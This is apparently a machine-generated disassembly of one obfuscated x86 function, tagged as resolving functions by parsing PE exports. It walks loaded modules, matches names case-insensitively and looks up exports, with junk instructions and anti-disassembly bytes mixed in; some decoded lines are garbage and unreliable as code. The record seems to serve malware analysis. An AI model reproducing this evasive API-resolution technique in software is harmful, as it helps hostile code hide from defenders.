Function at 0x480acd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
push eax
add esp, 4
xor edx, 0x12e15
and edx, 0x12f04
xor edx, 0xc1a2
pop edx
push ecx
push ecx
add esp, 4
jmp 0x4808e9
pop ecx
push esi
push esi
add esp, 4
add esi, 0x3d45
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
or edi, 0x55d7
or edi, 0x71d6
sub edi, 0x2439
and edi, 0x2c63
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0xed95
add ecx, 0x1516c
sub ecx, 0xc532
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x48099c
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4809f6
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4808c4
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4808c4
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4809e0
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4809ea
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x480a3f
push ecx
or ecx, 0x4eca
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0x1021f
or ecx, 0x5781
jmp 0x480a20
pop ecx
push edx
jmp 0x480a2a
sub edx, 0x17a25
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x480aa7
push esi
push eax
add esp, 4
jmp 0x480a4c
sub esi, 0xcab8
pop esi
push edi
push ecx
add esp, 4
add edi, 0xe6d0
xor edi, 0x24c9
sub edi, 0x9d31
xor edi, 0x2dc2
pop edi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x480a9d
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x480868
mov dword [ebp - 0x710], 0
push ecx
add ecx, 0x14c79
and ecx, 0x1b62
jmp 0x480ab9
pop ecx
push esi
push edi
add esp, 4
call 0x480acd
add byte [ecx + 0x34], cl
cmp al, 0x50
dec edx
dec edi
cmp dword [ebx + 0x515e04c4], eax
and ecx, 0x1013e
pop ecx
cmp dword [ebp - 0x710], 0
jne 0x480b23
push ebx
sub ebx, 0x2122
call 0x480af9
add byte [esi], dh
dec esi
cmp dl, byte [eax + 0x4c]
cmp eax, 0x3d4b3d48
add esp, 4
jmp 0x480b01
and ebx, 0x3d98
pop ebx
push edi
push edi
add esp, 4
or edi, 0x16b1b
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x48164b
push eax
jmp 0x480b2b
jmp 0x480b34
pop eax
push ebx
push edx
add esp, 4
jmp 0x480b3f
add ebx, 0x348b
jmp 0x480b4c
pop ebx
push edi
sub edi, 0x11239
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x480b94
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x480e85
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x480bbc
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x480e85
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x480bee
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x480e85
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x480c13
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x480e85
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x480c6d
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x480e79
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x480cdd
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x480d8f
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x480d8f
push ebx
and ebx, 0x5535
xor ebx, 0x101b3
sub ebx, 0xdf1a
pop ebx
push ebx
push edi
add esp, 4
add ebx, 0x185ed
call 0x480d38
add byte [ecx + 0x46], cl
inc ecx
inc edi
dec ebp
inc edi
xor eax, 0xc4833249
add al, 0x5b
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x480d81
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x480d88
jmp 0x480cce
jmp 0x480d8f
push esi
push eax
add esp, 4
and esi, 0x92f4
add esi, 0x16e5
or esi, 0x39aa
xor esi, 0xa15f
pop esi
push eax
and eax, 0x157b5
sub eax, 0x617
or eax, 0xea08
pop eax
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x480dee
mov dword [ebp - 0xc5c], 0
jmp 0x480e5d
push ecx
and ecx, 0x6edf
pop ecx
push esi
push ecx
add esp, 4
and esi, 0x150dc
pop esi
push eax
push ecx
add esp, 4
or eax, 0x1392f
xor eax, 0x118fb
add eax, 0xa93c
sub eax, 0xecd5
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x480e53
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x480e5d
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x480e74
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x480e85
jmp 0x480c5e
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x480f60
push esi
invalid